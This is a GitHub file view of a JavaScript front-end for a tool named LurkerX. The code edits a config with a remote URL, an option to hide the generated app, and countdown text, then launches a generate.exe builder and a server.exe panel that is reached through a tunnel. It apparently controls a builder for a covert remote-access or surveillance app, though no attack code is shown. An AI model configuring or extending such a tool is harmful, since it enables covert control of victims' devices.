Repository navigation
Expand file tree
/
Copy pathscript.js
More file actions
121 lines (105 loc) · 3.86 KB
/
Copy pathscript.js
File metadata and controls
121 lines (105 loc) · 3.86 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
const loader = document.getElementById("overlayLoader");
function showLoader(text = "Working…") {
loader.querySelector(".loader-text").innerText = text;
loader.classList.remove("hidden");
}
function hideLoader() {
setTimeout(() => {
loader.classList.add("hidden");
}, 500);
}
async function updateIniFromUI() {
showLoader("Updating config...");
const visibility =
document.querySelector('input[name="visibility"]:checked')?.value;
const updatedIni = {
app: {
name: document.getElementById("username").value.trim()
},
behavior: {
remoteurl: document.getElementById("url").value.trim(),
hideapp: visibility
},
content: {
countdowntext: document.getElementById("countdowntext").value.trim()
}
};
window.parent.postMessage({
action: "update_ini",
path: "tools/LurkerX/choices.ini",
data: updatedIni
}, "*");
}
const statusEl = document.getElementById("status");
function requestConfig() {
showLoader("Loading configuration…");
window.parent.postMessage({
action: "get_ini",
path: "tools/LurkerX/choices.ini"
}, "*");
}
window.addEventListener("message", (event) => {
const msg = event.data;
if (msg.action === "get_ini_result") {
if (!msg.success) {
statusEl.innerText = "Failed to load config";
console.error(msg.error);
hideLoader();
return;
}
const cfg = msg.data;
document.getElementById("username").value =
cfg.app?.name || "";
document.getElementById("url").value =
cfg.behavior?.remoteurl || "";
document.getElementById("countdowntext").value =
cfg.content?.countdowntext || "";
if (cfg.behavior?.hideapp !== undefined) {
const val = String(cfg.behavior.hideapp);
const radio = document.querySelector(
`input[name="visibility"][value="${val}"]`
);
if (radio) radio.checked = true;
}
statusEl.innerText = "Config loaded from INI";
hideLoader();
}
if (msg.action === "tool_done") {
alert(msg.message || "Done!");
hideLoader();
if (msg.from == "server.exe") {setTimeout(() => {location.href = "http://127.0.0.1:5000"}, 500);}
}
});
window.addEventListener("DOMContentLoaded", requestConfig);
document.querySelectorAll(".button").forEach(btn => {
btn.addEventListener("click", async (e) => {
showLoader("Processing…");
if (e.target.id === "downloadJBtn") {
window.parent.postMessage({
action: "open_link",
url: "https://download.visualstudio.microsoft.com/download/pr/0961d2f1-2853-4396-978f-358b5c564cce/542c0fe6ed499f4bb31393d48addb261/microsoft-jdk-17.0.17-windows-x64.exe"
}, "*");
}
else if (e.target.id === "generateBtn") {
await updateIniFromUI();
showLoader("Make sure your Java is already installed before this starts");
window.parent.postMessage({
action: "run_binary",
tool: "LurkerX",
binary: "generate.exe",
minimized: false,
args: ["--token", "token"]
}, "*");
}
else if (e.target.id === "openPanelBtn") {
showLoader("Make sure your Tunnel (localtonet, localxpose, etc.) is running before this starts");
window.parent.postMessage({
action: "run_binary",
tool: "LurkerX",
binary: "server.exe",
minimized: true,
args: ["--token", "value"]
}, "*");
}
});
});